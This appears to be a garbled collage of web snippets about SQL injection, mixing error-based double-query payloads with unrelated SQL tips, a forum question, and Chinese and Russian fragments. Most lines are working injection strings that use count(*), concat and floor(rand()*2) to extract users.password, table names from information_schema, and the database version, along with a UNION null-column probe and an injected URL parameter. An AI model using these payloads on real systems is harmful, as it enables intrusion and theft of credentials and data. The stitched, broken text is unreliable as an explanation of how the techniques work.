1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- Name_const(Mysql 5.0.12.
convert the NULL values with empty string by wrapping it in COALESCE. SELECT CONCAT(COALESCE(`affiliate_name
select a,b,null,null from table1 union select null,null,c,d from table2 union select null,null,null,null,e,f from table3.
爆表 AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x
...1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
A field with a NULL value is a field with no value. If a field in a table is optional, it is possible to insert a new record or update a record without adding a value to this
x group by concat(version(),floor(rand(0)*2)))-- (в некоторых случаях требуется) например колонки типа VARCHAR и размерностью >153 script.php?par=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat...